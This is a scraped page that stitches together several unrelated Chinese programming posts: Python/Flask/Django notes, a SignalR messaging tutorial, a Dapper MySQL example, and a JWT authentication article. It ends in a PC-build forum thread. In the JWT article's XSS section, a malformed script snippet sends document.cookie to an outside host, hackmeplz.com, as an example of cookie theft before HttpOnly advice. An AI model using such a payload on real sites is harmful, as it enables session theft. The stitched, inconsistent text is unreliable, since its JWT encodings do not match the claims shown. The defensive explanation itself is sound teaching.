/uniform(a, b)

随机整数、随机浮点数(不包含0和1)
特定区间浮点数
Choice(list)
从列表中获取随机对象
time()
Lunch=time(11,30),lunch.hour/mintue/second
datetime()
datetime.datetime(year=2016,day=14,month=4)
datetime.timedelta(days=14)
datetime.now(),当前时间

文档结构:其中__init__.py是空的,用于告诉python,需要使用这部分代码。

myproject/

-main.py

-classes/

-__init__.py

-monsters.py

readme.txt

install.txt

比如,需要main.py中使用from classes.monsters import Monster。

docstring:通常用三引号、单引号括起来,可以在shell中通过help(xxx)来查看文档,此外,还可以通过组件Sphinx来生成文档。

 

  • 数据库(sqlite)

Sqlite是一种超轻型的关系型数据库,支持ACID操作,常用语移动设备和浏览器中。其安装非常简单,地址:https://www.sqlite.org/download.html,下载windows下的sqlite-tools即可,之后可以通过firefox的sqliteManager插件直接管理。

其数据类型很简单,包括:Null;nteger,整型;Real,浮点数;Text,字符串;Blob,一个文件,如图片、歌曲等。

操作 解释或示例
建表
import sqlite3
conn=sqlite3.connect('mytest.sqlite')
cursor=conn.cursor()
sql='''create table students(
name text,
username text,
id int)'''
cursor.execute(sql)
cursor.close()
插入操作
sql='''insert into students(name, username, id)
values(:st_name, :st_username, :id_num)'''
cursor.execute(sql, {'st_name':'xionger', 'st_username':'x2', 'id_num':1322})
conn.commit()·
查询操作
sql="select * from students"
results=cursor.execute(sql)
all_students=results.fetchall()

 

  • Debug

通过TraceBack栈轨迹来查找错误,比如TypeError信息。还可以使用pdb调试器来查找错误,语句为:python –m pdb xxx.py,相关的pdb命令为:args,传输参数;break,增加断点;cont,继续知道下一个断点;clear,清除所有断点;list,显示当前所在位置附近的代码;next,执行代码的当前行;step,执行代码当前行,如果进入函数则停止。

这部分想说的是,在intelli IDE(pycharm)中调试非常方便,不过sublime中的调试还没弄清楚,之后补上。

 

  • Flask的Web开发

这儿将介绍python最吸引人的部分,开源库的使用了,这部分主要介绍最为常见的Web框架Flask的相关知识,首先是安装步骤。

步骤1:安装setuptools,通过在https://pypi.python.org/pypi/setuptools下载ex_setup.py文件,之后运行即可。

步骤2:安装pip,首先设置好之前下载的工具的环境变量,然后可以直接使用命令easy_install pip。

步骤3:pip install flask,此外么,其他很多的python组件都可以通过该方式安装。

接下来就让我们通过一个简单的例子来看看flask构建一个动态网站有多简单吧。

复制代码
 1 from flask import Flask
 2 from flask import render_template
 3 app=Flask(__name__)
 4 
 5 @app.route('/')
 6 def hellp_world():
 7 return 'Hello World!'
 8  
 9 @app.route('/lucky/<number>/')
10 def lucky(number):
11 return render_template('lucky.html', lucky_num=number)
12 
13 if __name__=='__main__':
14 app.run()
复制代码

Tip:里面用到jinja的视图模板,平时也可以用它来做代码生成工具,非常快速小巧,主要注意{{}}方式和angularJS一样,混用需要调整。

Python常见的组件介绍

组件名 解释或示例
PyGame 游戏和动画开发
Django Web框架,功能强大且灵活,比flask更复杂
Jinja2 页面模板,也可以用作代码生成工具,很棒
Plone 功能完备的内容管理系统,直接可以使用
Tkinter,Pyjs,PyGUI 桌面应用库
Kivy iOS和Android应用
NumPy,SymPy,SciPy Library,Matplotlib,pandas 科学计算

 

Django的整个使用过程完全可以参考官方文档,https://docs.djangoproject.com/en/1.9/intro/tutorial01/,接下来跟着官方文档一起来创建一个最简单的应用。

步骤 代码
创建项目(站点)
django-admin startproject mysite
#项目的目录如下所示
manage.py:命令行工具
mysite/settings.py:配置文件
mysite/urls.py:url路由设置文件
mysql/wsgi.py:部署文件
查看项目(空) python manage.py runserver
创建指定应用 python manage.py startapp polls
写第一个页面 polls/views.py

from django.http import HttpResponse
def index(request):
    return HttpResponse("Hello, world. You're at the polls index.")
polls/urls.py
from django.conf.urls import url
from . import views
urlpatterns = [
    url(r'^$', views.index, name='index'),
]
mysite/urls.py
from django.conf.urls import include, url
from django.contrib import admin
urlpatterns = [
    url(r'^polls/', include('polls.urls')),
    url(r'^admin/', admin.site.urls),

] #注意粗体的include不要忘记

查看项目polls应用
运行server,http://localhost:8000/polls/
数据库设置(只介绍sqlite)
python manage.py migrate

这部分内容就介绍到这儿为止,之后都是具体的模块建立了,这部分官方的导学文档非常丰富,包括页面模板,ORM,自动化测试等内容,灰常的棒。

此外Jinja学习:官网http://jinja.pocoo.org/,中文站http://docs.jinkan.org/docs/jinja2/

 

预祝大家有一段预约的python学习之旅,共勉之!

逆水行舟用力撑,一篙松劲退千寻,古云今日足可惜,吾辈更应惜秒阴。–董必武

 

参考资料:

  1. Katie Cunningham. Python入门经典[M]. 北京:人民邮电出版社, 2014.
作  者:熊二哥
出  处:http://www.cnblogs.com/wanliwang01/
版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。

Signalr实现消息推送

一、前言

大多数系统里面好像都有获取消息的功能,但这些消息来源都不是实时的,比如你开两个浏览器,用两个不同的账号登录,用一个账号给另外一个账号发送消息,然而并不会实时收到消息,必须要自己手动F5刷新一下页面才会显示自己的消息,这样感觉用户体验不太好。之前看了Learning hard关于Signalr的文章,刚好自己项目中有用到获取实时消息的功能,然而我们项目中就是用js代码setinterval方法进行1秒刷新读取数据的,这样严重给服务器端添加负担,影响系统性能!所以自己稍微研究了一下,下面是自己的一些理解,如果有不对的地方,请大家加以斧正!

二、实现原理

下面谈一下自己对Signalr的理解,Signalr可以进行远程分布式实时通信,都是使用远程代理来实现,其中有两大内部对象,第一个是Persisten Connection,用于客户端和服务器端的持久连接,第二个是Hub(集线器)对象,主要用于信息交互,将服务器端的数据推送(push)至客户端,大致原理如下:

1、客户端建立与服务器端的连接

2、客户端调用服务器端的方法

3、服务器端通过客户端发送的请求,响应数据,再将数据推送至客户端

三、Signalr实现消息推送

具体操作实现如下:

1、创建一个应用程序,我这里创建的是MVC应用程序

2、引用相关组件,右键引用》选择管理Nuget程序包

3、搜索Signalr,如图所示:

点击安装,在应用程序的Scripts文件夹里面会自动生成两个js文件,如图所示:

4、添加集成器类

5、注册signalr/hubs,在Startup.cs里面添加如下代码

6、新建控制器MessageController,然后在控制器里面新建两个视图方法SendMessage和ReceiveMessage,为了让效果看起来更直观,一个页面用于发送消息,一个页面用于接收消息,如图所示:

7、在我们刚刚新建的集成器类MyHub类里面添加代码:

(特别说明一下,这里的InsertMsg方法主要是将客户端发送的消息信息保存到数据库里面,便于消息读取,为了快速创建数据库表,我采用的code first方法来创建的,至于你想用什么方式创建表,那都是可以的。)

 

复制代码
namespace Signalr.Models 
{
    [HubName("MyHub")]
    public class MyHub : Hub
    {
        MessageDbContext _db = new MessageDbContext();
        public void Send(string title, string message)
        {
            this.InsertMsg(title, message);
            // 调用所有客户端的sendMessage方法
            Clients.All.sendMessage(message);
        }

        private void InsertMsg(string title, string message)
        {
            Message msg = new Message();
            msg.Title = title;
            msg.MsgContent = message;
            _db.Messages.Add(msg);
            _db.SaveChanges();
        }
    }
}
复制代码

表结构如图所示:

8、控制器MessageController后台代码

复制代码
public class MessageController : Controller
    {
      private MessageDbContext _db = new MessageDbContext();
        public ActionResult SendMessage()
        {
            return View();
        }

        public ActionResult ReceiveMessage()
        {
            return View();
        }

        [HttpPost]
        public JsonResult MsgCount()  
        {
            var count = this._db.Messages.Where(p=>p.IsRead==0).Count();
          return Json(new {count=count},JsonRequestBehavior.AllowGet);
        }
    }
复制代码

 

9、前端页面代码(SendMessage.cshtml)

复制代码
@{
    ViewBag.Title = "发送消息";
}
<title>发送消息</title>
<script src="~/Scripts/jquery-1.10.2.js"></script>
<script src="~/Scripts/jquery.signalR-2.2.0.min.js"></script>
<script src="~/signalr/hubs"></script>
<script type="text/javascript">
    $(function () {
        // 引用自动生成的集线器代理
        var chat = $.connection.MyHub;
        // 定义服务器端调用的客户端sendMessage来显示新消息
        chat.client.sendMessage = function (title, message) {
            // 向页面发送接收的消息
            sendMsg();
        };
        // 集成器连接开始
        $.connection.hub.start().done(function () {
            sendMsg();
            // 服务连接完成,给发送按钮注册单击事件
            $('#sendmessage').click(function () {
                // 调用服务器端集线器的Send方法
                chat.server.send($("#title").val(), $('#message').val());
            });
        });
    });

    function sendMsg() {
        var options = {
            url: '/Message/MsgCount',
            type: 'post',
            success: function (data) {
                $("#count").html(data.count);
            }
        };
        $.ajax(options);
    }
</script>


<h2>
    发送消息
</h2>
<div>
    <label>我的消息:</label>
    <span style=" color:red; font-size:30px;" id="count"></span>条
</div>
<p>
    <div>
        标题:
        <input type="text" id="title" />
    </div>
    <br /><br />
    <div>
        内容:
        <textarea id="message" rows="4" cols="30"></textarea>
    </div>
    <br /><br />
    <div>
        <input type="button" id="sendmessage" value="发送" />
    </div>
</p>
复制代码

10、前端页面代码(ReceiveMessage.cshtml)

复制代码
@{
    ViewBag.Title = "接受消息";
}
<title>接受消息</title>
<script src="~/Scripts/jquery-1.10.2.js"></script>
<script src="~/Scripts/jquery.signalR-2.2.0.min.js"></script>
<script src="~/signalr/hubs"></script>
<script type="text/javascript">
    $(function () {
        // 引用自动生成的集线器代理
        var chat = $.connection.MyHub;
        // 定义服务器端调用的客户端sendMessage来显示新消息
        chat.client.sendMessage = function (title, message) {
            // 向页面发送接收的消息
            MsgCount();
            var html = "<div>标题:" + title + "消息内容:" + message + "</div>";
            $("#msgcontent").after(html);
        };
        // 集成器连接开始
        $.connection.hub.start().done(function () {
            MsgCount();
        });
    });
    function MsgCount() {
        var options = {
            url: '/Message/MsgCount',
            type: 'post',
            async:false,
            data: { title: $("#title").val(), msgcontent: $("#sendmessage").val() },
            success: function (data) {
                $("#count").html(data.count);
            }
        };
        $.ajax(options);
    }
</script>


<h2>
    接收消息
</h2>

<div>
    <label>我的消息:</label>
    <span style=" color: red; font-size: 30px;  margin-right:10px;" id="count"></span>条
    <br />
    <br />
    <div id="msgcontent"></div>
</div>
复制代码

 

好了,大功告成,可能你有点疑问的是这个js文件引用地方在哪里

不防我们运行页面,按F12查看一下,它会自动在这里生成一个js文件,我们只要在页面中引用这个路径即可

四、页面效果(见证奇迹的时刻到了,哈哈哈~~~)

为了让页面效果更为直观,我这里用IE打开SendMessage.cshtml页面,用Google打开ReceiveMessage.cshtml页面。

 

权责申明

作者:SportSky 出处: http://www.cnblogs.com/sportsky/
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。如果觉得还有帮助的话,可以点一下右下角的【推荐】,希望能够持续的为大家带来好的技术文章!想跟我一起进步么?那就【关注】我吧

.NET Core 使用Dapper 操作MySQL

.NET Core 使用Dapper 操作MySQL 数据库, .NET Core 使用Dapper。

目前官方没有出.NET Core MySQL  驱动,但是已经有第三方进行改动封装出.NET Core MySQL Connector 预览版。

Dapper 也已经出了 .NET Core 预览版。

Dapper dot net 是一个轻量型的ORM,但是性能很强大。

有了.NET Core MySQL Connector  我们可以直接使用ADO.NET 操作数据库。

目前EF Core 暂时不支持MySQL, 本篇主要讲解使用Dapper 操作 MySQL。

第三方 MySQL Connector: https://github.com/SapientGuardian/mysql-connector-net-netstandard

Dapper: https://github.com/StackExchange/dapper-dot-net

 

新建项目

新建一个.NET Core控制台应用程序 NETCoreMySQL

添加引用

使用 NuGet 控制台添加

Install-Package SapientGuardian.MySql.Data -Pre

Install-Package Dapper -Pre

 

MySQL 增删查改

在MySQL里面新建一个测试库 及表

测试所用脚本:

复制代码
CREATE DATABASE `test` 

CREATE TABLE `user` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `UserName` varchar(255) DEFAULT NULL,
  `Url` varchar(255) DEFAULT NULL,
  `Age` int(11) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=InnoDB DEFAULT CHARSET=gbk;
复制代码

新建一个User 类

复制代码
    public class User
    {
        public int Id { get; set; }
        public string UserName { get; set; }
        public string Url { get; set; }
        public int Age { get; set; }
    }
复制代码

下面来操作MySQL 增删改查

复制代码
        public static void Main(string[] args)
        {
            Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);
            MySqlConnection con = new MySqlConnection("server=127.0.0.1;database=test;uid=root;pwd=;charset='gbk'");
            //新增数据
            con.Execute("insert into user values(null, '测试', 'http://www.cnblogs.com/linezero/', 18)");
            //新增数据返回自增id
            var id=con.QueryFirst<int>("insert into user values(null, 'linezero', 'http://www.cnblogs.com/linezero/', 18);select last_insert_id();");
            //修改数据
            con.Execute("update user set UserName = 'linezero123' where Id = @Id", new { Id = id });
            //查询数据
            var list=con.Query<User>("select * from user");
            foreach (var item in list)
            {
                Console.WriteLine($"用户名:{item.UserName} 链接:{item.Url}");
            }
            //删除数据
            con.Execute("delete from user where Id = @Id", new { Id = id });
            Console.WriteLine("删除数据后的结果");
            list = con.Query<User>("select * from user");
            foreach (var item in list)
            {
                Console.WriteLine($"用户名:{item.UserName} 链接:{item.Url}");
            }
            Console.ReadKey();
        }
复制代码

简单使用Dapper,更多功能可以查看官方文档。

执行效果:

 

GitHub :https://github.com/linezero/Blog/tree/master/NETCoreMySQL

OAuth认证

几种常用的认证机制

HTTP Basic Auth

HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名密码即可,但由于有把用户名密码暴露给第三方客户端的风险,在生产环境下被使用的越来越少。因此,在开发对外开放的RESTful API时,尽量避免采用HTTP Basic Auth

OAuth

OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。

OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
下面是OAuth2.0的流程:

这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;

Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的,当我们关闭浏览器的时候,cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效;

Token Auth

Token Auth的优点

Token机制相对于Cookie机制又有什么好处呢?

  • 支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输.
  • 无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息.
  • 更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可.
  • 去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可.
  • 更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。
  • CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。
  • 性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多.
  • 不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理.
  • 基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).

基于JWT的Token认证机制实现

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。其

JWT的组成

一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。
载荷(Payload)

{ "iss": "Online JWT Builder", 
  "iat": 1416797419, 
  "exp": 1448333419, 
  "aud": "www.example.com", 
  "sub": "jrocket@example.com", 
  "GivenName": "Johnny", 
  "Surname": "Rocket", 
  "Email": "jrocket@example.com", 
  "Role": [ "Manager", "Project Administrator" ] 
}
  • iss: 该JWT的签发者,是否使用是可选的;
  • sub: 该JWT所面向的用户,是否使用是可选的;
  • aud: 接收该JWT的一方,是否使用是可选的;
  • exp(expires): 什么时候过期,这里是一个Unix时间戳,是否使用是可选的;
  • iat(issued at): 在什么时候签发的(UNIX时间),是否使用是可选的;
    其他还有:
  • nbf (Not Before):如果当前时间在nbf里的时间之前,则Token不被接受;一般都会留一些余地,比如几分钟;,是否使用是可选的;

将上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。

eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

小知识:Base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应于4个Base64单元,即3个字节需要用4个可打印字符来表示。JDK 中提供了非常方便的 BASE64EncoderBASE64Decoder,用它们可以非常方便的完成基于 BASE64 的编码和解码

头部(Header)
JWT还需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。

{
"typ": "JWT",
"alg": "HS256"
}

在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码,编码后的字符串如下:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

签名(Signature)
将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0

最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:

rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

在我们的请求URL中会带上这串JWT字符串:

https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

认证过程

下面我们从一个实例来看如何运用JWT机制实现认证:

登录

  • 第一次认证:第一次登录,用户从浏览器输入用户名/密码,提交后到服务器的登录处理的Action层(Login Action);
  • Login Action调用认证服务进行用户名密码认证,如果认证通过,Login Action层调用用户信息服务获取用户信息(包括完整的用户信息及对应权限信息);
  • 返回用户信息后,Login Action从配置文件中获取Token签名生成的秘钥信息,进行Token的生成;
  • 生成Token的过程中可以调用第三方的JWT Lib生成签名后的JWT数据;
  • 完成JWT数据签名后,将其设置到COOKIE对象中,并重定向到首页,完成登录过程;

请求认证

基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE
中,也可能在HTTP的Authorization头中;

  • 客户端(APP客户端或浏览器)通过GET或POST请求访问资源(页面或调用API);
  • 认证服务作为一个Middleware HOOK 对请求进行拦截,首先在cookie中查找Token信息,如果没有找到,则在HTTP Authorization Head中查找;
  • 如果找到Token信息,则根据配置文件中的签名加密秘钥,调用JWT Lib对Token信息进行解密和解码;
  • 完成解码并验证签名通过后,对Token中的exp、nbf、aud等信息进行验证;
  • 全部通过后,根据获取的用户的角色权限信息,进行对请求的资源的权限逻辑判断;
  • 如果权限逻辑判断通过则通过Response对象返回;否则则返回HTTP 401;

对Token认证的五点认识

对Token认证机制有5点直接注意的地方:

  • 一个Token就是一些信息的集合;
  • 在Token中包含足够多的信息,以便在后续请求中减少查询数据库的几率;
  • 服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查;
  • 基于上一点,你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端;
  • 因为token是被签名的,所以我们可以认为一个可以解码认证通过的token是由我们系统发放的,其中带的信息是合法有效的;

JWT的JAVA实现

Java中对JWT的支持可以考虑使用JJWT开源库;JJWT实现了JWT, JWS, JWE 和 JWA RFC规范;下面将简单举例说明其使用:
生成Token码

import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;    
 
//Sample method to construct a JWT
 
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
 
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
 
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
 
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
 
  //Let's set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
                                .setIssuedAt(now)
                                .setSubject(subject)
                                .setIssuer(issuer)
                                .signWith(signatureAlgorithm, signingKey);
 
//if it has been specified, let's add the expiration
if (ttlMillis >= 0) {
    long expMillis = nowMillis + ttlMillis;
    Date exp = new Date(expMillis);
    builder.setExpiration(exp);
}
 
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}

解码和验证Token码

import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
 
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()        
   .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
   .parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
}

基于JWT的Token认证的安全问题

确保验证过程的安全性

如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。

如何防范XSS Attacks

浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:

<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"

这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?

//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;

如何防范Replay Attacks

所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:
1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:

  • User ID
  • 共享秘钥

客户端

auth_header = JWT.encode({
  user_id: 123,
  iat: Time.now.to_i,      # 指定token发布时间
  exp: Time.now.to_i + 2   # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服务端

class ApiController < ActionController::Base
  attr_reader :current_user
  before_action :set_current_user_from_jwt_token

  def set_current_user_from_jwt_token
    # Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查
    # the signature. Note JWT tokens are *not* encrypted, but signed.
    payload = JWT.decode(request.authorization, nil, false)

    # Step 2: 检查该用户是否存在于数据库
    @current_user = User.find(payload['user_id'])
    
    # Step 3: 检查Token签名是否正确.
    JWT.decode(request.authorization, current_user.api_secret)
    
    # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.
    now = Time.now.to_i
    if payload['iat'] > now || payload['exp'] < now
      # 如果过期则返回401
    end
  rescue JWT::DecodeError
    # 返回 401
  end
end

2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
客户端

auth_header = JWT.encode({
  user_id: 123,
  jti: rand(2 << 64).to_s,  # 通过jti确保一个token只使用一次,防止replace attack
  iat: Time.now.to_i,       # 指定token发布时间.
  exp: Time.now.to_i + 2    # 指定token过期时间为2秒后
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服务端

def set_current_user_from_jwt_token
  # 前面的步骤参考上面
  payload = JWT.decode(request.authorization, nil, false)
  @current_user = User.find(payload['user_id'])
  JWT.decode(request.authorization, current_user.api_secret)
  now = Time.now.to_i
  if payload['iat'] > now || payload['exp'] < now
    # 返回401
  end
  
  # 下面将检查确保这个JWT之前没有被使用过
  # 使用Redis的原子操作
  
  # The redis 的键: <user id>:<one-time use token>
  key = "#{payload['user_id']}:#{payload['jti']}"
  
  # 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .
  if redis.getset(key, "1")
    # 返回401
    # 
  end
  
  # 进行键值过期检查
  redis.expireat(key, payload['exp'] + 2)
end

如何防范MITM (Man-In-The-Middle)Attacks

所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。

参考目录:
https://stormpath.com/blog/build-secure-user-interfaces-using-jwts
https://auth0.com/blog/2014/01/27/ten-things-you-should-know-about-tokens-and-cookies/
https://www.quora.com/Is-JWT-JSON-Web-Token-insecure-by-design
https://github.com/auth0/node-jsonwebtoken/issues/36
http://christhorntonsf.com/secure-your-apis-with-jwt/

[装机配置讨论] 七周年来了,3000-15000+电脑配置推荐贴(2016年06月02日开贴备战618,持续更新中!)

想为WOW 7.0装机的又不急用的请等618!!重要的事情放最顶上了……不过为了守望装机的,我真没法拦你了,因为明天要开了。 you ga wa ka tai ke na ku yao~~
新浪微博[

http://weibo.com/tibitteam
此网页不属于本网站,不保证其安全性
继续访问       取消

http://weibo.com/tibitteam]
新浪博客[http://blog.sina.com.cn/tibitteam]
声明:此贴转载须注明出处和本人ID,可扩散!

七年了,估计大家已经换了2-3代配置了,我当初根本想不到能坚持如此之久,但是随着大家的认可,以及存在感和成就感的积累,逐渐坚持了下来,并且也算踏入了更专业的领域,甚至可以借用资源做到行业标准的测试了(国家3C 电源80PLUS),虽然很多项目的数据是无法公布的(具体物料号和3C单号都涉及商业原则),但是很多配置的兼容性和已经通过的标准后面可以写出来。让大家有一个更好的参考,性能方面的测试数据依然以真实为底线,并且很多会长期更新。如今,已经成为团队的我们,相信会做的更好!与大家共勉!

配置贴希望能给大家一个装机参考,但是不希望帖子成为桎梏,考虑灵活搭配的原则,多准备备选方案。配置不定期变动(或者有比较大的突变的时候),寻找最具性价比的明星产品,为大家服务!!请大家尽量不要PM我……问的人太多,有时候会屏蔽了PM,直接跟帖问吧。感谢一直帮我回帖的深田公子,枫子兔,天inspiration,至尊披萨,No3嘉拉迪雅,八坂穷勾玉等朋友,希望更多的朋友能从看贴受益到帮助更多的网友。

我不加QQ好友,不发推荐码,新手互助群215417875(现为二群,广泛接纳DIY玩家,无商家,尽力快速回复新手应急问题,一群人满暂时不加人了) 。其他精华帖链接在最后,另外其他散件补充贴非本人所写,有什么问题请问开贴人。

WOW从6.1版本大幅提高了显卡需求,重夺兵器谱第一的位置(极限特效是SSAA200%+MXAA8X+CMAA,其他最高),成为最依赖电脑配置的网游,没有之一!!由于6.1版本加入了NV的点光源技术,以及更好的优化技术,所以现阶段玩WOW,建议N卡。不过单机游戏方面270X和370X相对750TI还是有优势,280X和380相对960也是有优势,特此说明。
所有游戏卡顿,帧数不正常的看下面两贴,需双剑(贴)合璧才完美。
WOW6.1视频高级设置介绍[/read.php?tid=7893363]
WOW最优化攻略终极版,专治各种游戏帧数不服不正常 6.0版本[/read.php?tid=7622866]

个人看法:
特别注意:微软不再为INTEL的4系列、6系列及以后的CPU(即G3XXX,I3 I5 I7 4XXX及skylake的CPU)和主板(H81,B85,Z87,Z97及h110 b150 z170等)提供XP驱动支持,也就是说用不了WIN XP了,请纯办公或者还想用XP的网友特别注意!!!

CPU:AMD目前比较低迷,APU不给力,FX系列能耗比太低。新装机直接上INTEL的U吧,单核心性能强劲,更适合玩WOW。现在建议低端买G3258或I3散片(新平台可用G4400或I3 6100),中端用I5 6500,中高端请选4690K或E3(新平台6600K),高端的新平台6700K,发烧的考虑新的68XXK和X99平台。

